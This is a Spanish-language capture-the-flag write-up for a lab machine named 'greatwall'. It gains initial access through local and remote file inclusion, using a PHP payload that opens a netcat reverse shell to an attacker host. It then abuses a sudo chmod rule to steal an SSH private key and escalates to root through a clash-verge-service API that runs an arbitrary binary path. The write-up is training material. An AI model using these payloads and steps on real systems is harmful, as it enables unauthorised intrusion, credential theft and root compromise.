Enumeración de servicios
Enumeramos puertos:
❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.12
...
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Hello World
...Acceso inicial mediante LFI y RFI
El parámetro page acepta una ruta sin restringir el origen del recurso. Al utilizar el esquema file://, el servidor lee /etc/passwd, lo que confirma un LFI y revela la cuenta local wall:
❯ curl 'http://192.168.1.12/?page=file:///etc/passwd'
...
root:x:0:0:root:/root:/bin/bash
wall:x:1000:1000:wall,,,:/home/wall:/bin/bash
...La misma entrada también admite una URL remota, por lo que el fallo se extiende a Remote File Inclusion (RFI). Las conexiones salientes están filtradas por iptables, pero el puerto 22 ya está permitido. Servimos un archivo PHP que abre la reverse shell hacia ese puerto y hacemos que la aplicación lo incluya. En este caso no sólo se lee el recurso remoto: el intérprete PHP del servidor lo ejecuta.
❯ cat pwned.php
<?php
$exec = `busybox nc 192.168.1.5 22 -e /bin/bash`;
echo "Result: " . trim($exec);
?>❯ curl -s "http://192.168.1.12/?page=http://192.168.1.5/pwned.php"
❯ sudo ncat -nlvp 22
Ncat: Connection from 192.168.1.12:36104.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)La conexión confirma ejecución como www-data. Revisamos sus permisos de sudo:
www-data@greatwall:~/html$ sudo -l
...
User www-data may run the following commands on greatwall:
(wall) NOPASSWD: /bin/chmodMovimiento a la cuenta wall mediante sudo chmod
La regla permite ejecutar chmod con la identidad de wall. Este abuso de un programa autorizado por sudo no permite leer directamente la clave, pero sí modificar los permisos de rutas que pertenecen a esa cuenta. Abrimos temporalmente el directorio personal y la clave privada, copiamos id_rsa y restauramos sus permisos antes de conectarnos por SSH:
www-data@greatwall:/home$ sudo -u wall chmod 777 wall
www-data@greatwall:/home/wall/.ssh$ sudo -u wall chmod 777 id_rsa
www-data@greatwall:/home/wall/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
www-data@greatwall:/home/wall/.ssh$ sudo -u wall chmod 600 id_rsa
www-data@greatwall:/home$ sudo -u wall chmod 750 /home/wall
❯ ssh wall@192.168.1.12 -i id_rsa
wall@greatwall:~$La clave permite autenticar como wall. Después de obtener la primera flag, revisamos las reglas de sudo de esta nueva cuenta:
wall@greatwall:~$ sudo -l
...
User wall may run the following commands on greatwall:
(ALL) NOPASSWD: /usr/bin/systemctl start clash-verge-serviceEscalada de privilegios mediante clash-verge-service
La unidad autorizada inicia clash-verge-service como root y expone una API sólo en 127.0.0.1:33211. El endpoint /start_clash recibe bin_path y hace que el servicio privilegiado ejecute la ruta indicada. Preparamos un script que añade SUID a /bin/bash, lo seleccionamos como binario y luego utilizamos bash -p para conservar el UID efectivo de root:
wall@greatwall:~$ sudo /usr/bin/systemctl start clash-verge-service
wall@greatwall:~$ ss -tuln
...
tcp LISTEN 0 128 127.0.0.1:33211 0.0.0.0:*
...
wall@greatwall:/tmp$ cat rev.sh
#!/bin/bash
chmod +s /bin/bash
wall@greatwall:/tmp$ curl -X POST http://127.0.0.1:33211/start_clash -H "Content-Type: application/json" -d '{"core_type": "verge-mihome","bin_path": "/tmp/rev.sh","config_dir": "1","config_file": "/tmp/rev.sh","log_file": "/tmp/abc"}'
wall@greatwall:/tmp$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1265648 Mar 30 2024 /bin/bash
wall@greatwall:/tmp$ bash -p
bash-5.2# whoami
rootLa salida de whoami confirma que el shell conserva los privilegios de root.
Fin.